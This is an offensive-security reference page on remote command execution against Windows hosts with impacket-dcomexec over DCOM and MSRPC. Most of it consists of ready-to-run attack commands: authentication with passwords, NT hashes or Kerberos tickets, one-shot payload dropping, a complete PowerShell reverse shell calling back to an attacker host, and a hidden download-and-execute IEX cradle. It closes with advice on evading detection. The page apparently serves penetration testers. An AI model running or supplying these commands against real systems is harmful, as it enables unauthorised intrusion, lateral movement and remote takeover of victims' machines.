# DCOM Remote Execution via MSRPC – dcomexec

- **URL:** https://hackindex.io/services/msrpc/exploitation/dcom-remote-execution
- **Path:** MSRPC > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/msrpc/exploitation.md)
- **Published:** 2026-03-11
- **Updated:** 2026-03-31

## DCOM RPC Remote Execution

`impacket-dcomexec` executes commands on a remote Windows host by interacting with DCOM objects over RPC rather than using SMB service creation or WMI. It communicates on port 135 for the initial DCOM handshake, then uses a dynamically allocated high port for the session. Because it does not create services, it is a useful alternative when psexec and smbexec are blocked by AV or endpoint controls.

You need valid credentials or an NT hash and local admin on the target. Port 135 must be reachable. Unlike psexec and smbexec, dcomexec still requires SMB (port 445) for output retrieval: it writes command output to a temp file on ADMIN$ and reads it back. Both ports need to be open.

For purely SMB-based execution see [https://hackindex.io/services/smb/exploitation/remote-code-execution](https://hackindex.io/services/smb/exploitation/remote-code-execution).

## Basic Execution

Three DCOM objects are supported. Try them in order: not all are available on every target.

**MMC20.Application**: the most reliable, uses the `ExecuteShellCommand` method:

- Basic Execution
- Single Command Execution
- Getting a Reverse Shell
- Noisy Profile
- When dcomexec Fails

```bash
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object MMC20
```

**ShellWindows**: uses the `ShellExecute` method via the Explorer shell:

```bash
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object ShellWindows
```

**ShellBrowserWindow**: similar to ShellWindows but targets a different COM interface:

```bash
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object ShellBrowserWindow
```

With a hash instead of password:

```bash
impacket-dcomexec $DOMAIN/$USER@$TARGET_IP -hashes :$NTHASH -object MMC20
```

With a Kerberos ticket:

```bash
export KRB5CCNAME=/path/to/ticket.ccache
impacket-dcomexec $DOMAIN/$USER@$TARGET_HOSTNAME -k -no-pass -object MMC20
```

Use the hostname rather than the IP with Kerberos: ticket validation is hostname-based.

## Single Command Execution

Run a single command without opening an interactive shell by appending it to the command line:

```bash
impacket-dcomexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP -object MMC20 "whoami /all"
```

Useful for one-shot enumeration or dropping a payload without maintaining an interactive session.

## Getting a Reverse Shell

Start a listener:

```bash
nc -lvnp $LPORT
```

Execute a PowerShell reverse shell from the dcomexec prompt:

```bash
powershell -nop -w hidden -c "$client = New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

Or download and execute a hosted payload:

```bash
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/shell.ps1')"
```

## Noisy Profile

dcomexec is more network-visible than wmiexec. It uses port 135 for the initial `RemoteCreateInstance` call to `IRemoteSCMActivator`, followed by a dynamically allocated high port (typically 49000+) for the DCOM session, and still hits port 445 for output. Defenders watching for Impacket tooling can detect the `RemoteCreateInstance` pattern on port 135 reliably.

If stealth matters and SMB execution is not an option, wmiexec is quieter: it avoids the port 135 exposure. Use dcomexec when wmiexec fails or the specific DCOM execution path is needed.

## When dcomexec Fails

If MMC20 returns an error or hangs, try the other objects before abandoning the technique. ShellWindows requires an active Explorer session on the target: it fails on Server Core installs and headless servers. ShellBrowserWindow has the same Explorer dependency. MMC20 works on most Windows Server targets regardless of interactive session state.

If all three objects fail, check that DCOM is not explicitly disabled via `HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM` on the target.

## References

- [Impacket](https://github.com/fortra/impacket) - Fortra dcomexec.py source and DCOM object documentation.